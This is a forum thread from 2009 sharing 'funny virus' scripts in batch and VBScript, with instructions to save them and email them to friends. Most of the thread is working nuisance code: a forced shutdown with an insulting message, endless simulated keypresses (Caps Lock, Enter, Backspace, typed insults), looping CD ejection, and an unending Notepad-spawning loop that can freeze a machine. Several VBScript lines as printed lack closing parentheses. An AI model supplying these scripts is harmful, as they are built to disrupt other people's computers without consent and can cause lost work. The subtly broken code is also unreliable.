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Creating Funny Viruses With Your Notepad

These are cool notepad pranks witten in Microsoft Visual Basic, not some scary deadly virus, I stumbled across this stuff somewhere on d net and i thought i'd be a great idea to share wit u guys, create any of these files and try them out on your pc and see what i'm saying, or send it to your friends via e-mail. Doing this is fun, hehehe, Re-starting your computer cancels the effect unless you add the start-up code which I wont post here .

Re: Creating Funny Viruses With Your Notepad

1. Convey your friend a lil' message and shut down his / her computer: Type : @echo off msg * I don't like you shutdown -c "Error! You are too silly!" -s Save it as "Anything.BAT" in All Files and send it.

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2. Toggle your friend's Caps Lock button simultaneously: Type : Set wshShell =wscript.CreateObject("WScript.Shell" do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it.

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3. Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Type : Set oWMP = CreateObject("WMPlayer.OCX.7" Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it.

Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:53am On Dec 30, 2009

4. Frustrate your friend by making this VBScript hit Enter simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell" do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it.

Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:54am On Dec 30, 2009

5. Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out: Type : WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell" WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! " Save it as "Anything.VBS"

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6. Frustrate your friend by making this VBScript hit Backspace simultaneously: Type : MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell" do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Save it as "Anything.VBS"

Re: Creating Funny Viruses With Your Notepad

7. Hack your friend's keyboard and make him type "You are a fool" simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell" do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop Save it as "Anything.VBS" and send it. 8. Open Notepad continually in your friend's computer: Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as "Anything.BAT" and send it.